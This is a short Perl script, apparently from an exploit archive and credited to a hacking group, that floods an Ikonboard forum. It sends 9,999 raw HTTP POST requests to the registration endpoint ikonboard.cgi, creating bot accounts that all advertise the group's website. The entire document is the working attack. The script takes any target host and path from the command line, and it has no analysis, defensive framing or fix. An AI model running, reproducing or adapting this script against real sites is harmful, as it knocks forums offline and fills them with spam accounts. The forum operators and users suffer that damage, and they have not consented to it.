#!/usr/bin/perl
#####################################
# Ikonboard Register Multiple Users Denial of Service
# Code Written By Pr0T3cT10n <pr0t3ct10n@gmail.com >
# KamikaZ Security Team <http://www.kamikaz-team.com>
# ISRAEL
#####################################
use warnings;
use strict;
use IO::Socket;

my $host = $ARGV[0];
my $path = $ARGV[1];
my $rand = rand(10);

if(!$ARGV[1])
{
print "#######################################################\n";
print "# Ikonboard Register Multiple Users Denial of Service\n";
print "# Code Written By Pr0T3cT10n\n";
print "#######################################################\n";
print "# [host] [path]\n";
print "# host.com /forum/\n";
print "#######################################################\n";
exit();
}
for(my $i=0; $i<9999; $i++)
{
    my $name = "KK_" .$rand.$i;
    my $data = "act=Reg&CODE=02&COPPA=&UserName=" .$name. "&PassWord=123456&PassWord_Check=123456&EmailAddress=" .$name. "\@host.com&MEMBER_NAME_R=KamikaZ_Bot&SEX=1&LOCATION=127.0.0.1&HIDE_EMAIL=1&WEBSITE=http%3A%2F%2Fwww.kamikaz-team.com&AOLNAME=&ICQNUMBER=&MSNNAME=&YAHOONAME=&INTERESTS=&SIGNATURE=http%3A%2F%2Fwww.kamikaz-team.com&Post=&agree=1";
    my $socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $host , PeerPort => "80") or die("[-] Connection faild.\n");
    my $pack = "POST " .$path. "cgi-bin/ikonboard.cgi HTTP/1.0\r\n";
    $pack.= "Host: " .$host. "\r\n";
    $pack.= "Content-Type: application/x-www-form-urlencoded\r\n";
    $pack.= "Content-Length: " .length($data). "\r\n\r\n";
    $pack.= $data;
    print $socket $pack;
    syswrite STDOUT, "+";
}
print "[+] Done..\n";